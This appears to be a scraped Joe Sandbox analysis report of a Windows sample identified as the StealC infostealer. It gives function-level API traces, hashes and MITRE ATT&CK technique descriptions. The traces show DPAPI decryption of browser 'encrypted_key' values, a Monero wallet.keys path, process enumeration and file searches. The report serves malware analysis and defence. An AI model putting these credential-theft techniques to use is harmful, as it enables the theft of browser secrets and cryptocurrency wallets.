Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: s3$s3$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-3620656206
Opcode ID: b09871c626b5a98c09e976e967e86f43522dd4a8b6740f543595486084c4c82d
Instruction ID: 6c5101aaded8a9ecab0c30cecc3f5ce64e418130ca1cf7ccce1b6e37bf5654fa
Opcode Fuzzy Hash: b09871c626b5a98c09e976e967e86f43522dd4a8b6740f543595486084c4c82d
Instruction Fuzzy Hash: DB519EB1D04218ABDB25EB90DCD5BEEB3B4EF54304F1044A8E215BB181EB746E88DF59

Function 00333560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 1b340eb11fe805144915acccf629cc0d207e54fb5a7b957917a2117a676f179b
Instruction ID: 8f7b58763985150b4b71c3203516cc79a1020a1717b92fe4722c6a84a7197fc2
Opcode Fuzzy Hash: 1b340eb11fe805144915acccf629cc0d207e54fb5a7b957917a2117a676f179b
Instruction Fuzzy Hash: B84121B1D10109AFCB05EFE4D8C6AEEB7B8AF54304F008418F5167B251DB75AA49DFA2

Function 00329CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 003299C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 003299EC
Part of subcall function 003299C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00329A11
Part of subcall function 003299C0: LocalAlloc.KERNEL32(00000040,?), ref: 00329A31
Part of subcall function 003299C0: ReadFile.KERNEL32(000000FF,?,00000000,0032148F,00000000), ref: 00329A5A
Part of subcall function 003299C0: LocalFree.KERNEL32(0032148F), ref: 00329A90
Part of subcall function 003299C0: CloseHandle.KERNEL32(000000FF), ref: 00329A9A

Part of subcall function 00338E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00338E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00329D39

Part of subcall function 00329AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N2,00000000,00000000), ref: 00329AEF
Part of subcall function 00329AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00324EEE,00000000,?), ref: 00329B01
Part of subcall function 00329AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N2,00000000,00000000), ref: 00329B2A
Part of subcall function 00329AC0: LocalFree.KERNEL32(?,?,?,?,00324EEE,00000000,?), ref: 00329B3F

Part of subcall function 00329B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00329B84
Part of subcall function 00329B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00329BA3
Part of subcall function 00329B60: LocalFree.KERNEL32(?), ref: 00329BD3

Strings

"encrypted_key":", xrefs: 00329D30
, xrefs: 00329DC1
DPAPI, xrefs: 00329D89

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: bf6ce8762bb29f74acd6091b32148660bc78b27af8cded630955726e9301527d
Instruction ID: 8c41752e6675bbbb1366c212a54cd18442d05362d3d024e6cb01e20046bdb73d
Opcode Fuzzy Hash: bf6ce8762bb29f74acd6091b32148660bc78b27af8cded630955726e9301527d
Instruction Fuzzy Hash: D9312DB6D10219ABCF05DFE4EC85BEFB7B8AF48304F144519E905AB241EB749A44CBA1

Function 00338680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,003405B7), ref: 003386CA
Process32First.KERNEL32(?,00000128), ref: 003386DE
Process32Next.KERNEL32(?,00000128), ref: 003386F3

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,01099048,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

CloseHandle.KERNEL32(?), ref: 00338761

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 7f800a377480978e1f402355e530103801a786b4b4b68ae14bac8b4b7496526e
Instruction ID: e3872019d27e361dd03ee3f5e6f42023bb212e936d198c084b9d963d8cd24f4e
Opcode Fuzzy Hash: 7f800a377480978e1f402355e530103801a786b4b4b68ae14bac8b4b7496526e
Instruction Fuzzy Hash: 75314B71901618ABCB26DF94DC85FEEB7B8EF45700F104199F10ABA1A0DF746A45CFA1

Function 00337980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00340E00,00000000,?), ref: 003379B0
RtlAllocateHeap.NTDLL(00000000), ref: 003379B7
GetLocalTime.KERNEL32(?,?,?,?,?,00340E00,00000000,?), ref: 003379C4
wsprintfA.USER32 ref: 003379F3

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: fca16f3024e520496eb1b6f2243dd7a77885cef7d308009686b9146d6ec89fb1
Instruction ID: c76760fde2c58c699843d09f0734434d631e9f4f69078a9b0da07666eb052add
Opcode Fuzzy Hash: fca16f3024e520496eb1b6f2243dd7a77885cef7d308009686b9146d6ec89fb1
Instruction Fuzzy Hash: E91127B2904118ABCB14DFC9DD45BBEB7F8FB4CB11F10421AF605A3280E2795944DBB1

Function 0033C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0033C74E

Part of subcall function 0033BF9F: __amsg_exit.LIBCMT ref: 0033BFAF

__getptd.LIBCMT ref: 0033C765
__amsg_exit.LIBCMT ref: 0033C773
__updatetlocinfoEx_nolock.LIBCMT ref: 0033C797

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: f54b38eb2b80e83ac15594c852c347a531e50a9da5b56ceb3b74ef9365ed883a
Instruction ID: b3f6a5398e2e0c14e11de05395408134b82093d749702d650594f170711a01eb
Opcode Fuzzy Hash: f54b38eb2b80e83ac15594c852c347a531e50a9da5b56ceb3b74ef9365ed883a
Instruction Fuzzy Hash: BAF0BE329147009FD723BBB89CC7B5EB3A06F00721F255249FA04BE2D2CF6469419F56

Function 00334F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00338DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00338E0B

lstrcat.KERNEL32(?,00000000), ref: 00334F7A
lstrcat.KERNEL32(?,00341070), ref: 00334F97
lstrcat.KERNEL32(?,01098F88), ref: 00334FAB
lstrcat.KERNEL32(?,00341074), ref: 00334FBD

Part of subcall function 00334910: wsprintfA.USER32 ref: 0033492C
Part of subcall function 00334910: FindFirstFileA.KERNEL32(?,?), ref: 00334943

Part of subcall function 00334910: StrCmpCA.SHLWAPI(?,00340FDC), ref: 00334971
Part of subcall function 00334910: StrCmpCA.SHLWAPI(?,00340FE0), ref: 00334987
Part of subcall function 00334910: FindNextFileA.KERNEL32(000000FF,?), ref: 00334B7D
Part of subcall function 00334910: FindClose.KERNEL32(000000FF), ref: 00334B92

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 575189ada6295b5f34e97904c2d80ea0d13f83e33fcc837a0749706005263a0d
Instruction ID: 800e5c04521f933c575b655780f708a1aa184c3760f70e34183c186708ab0998
Opcode Fuzzy Hash: 575189ada6295b5f34e97904c2d80ea0d13f83e33fcc837a0749706005263a0d
Instruction Fuzzy Hash: EB219B7690020467C755F774EC86EED337CAB64300F004554F65AAB181EEB5A6CD9F92

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

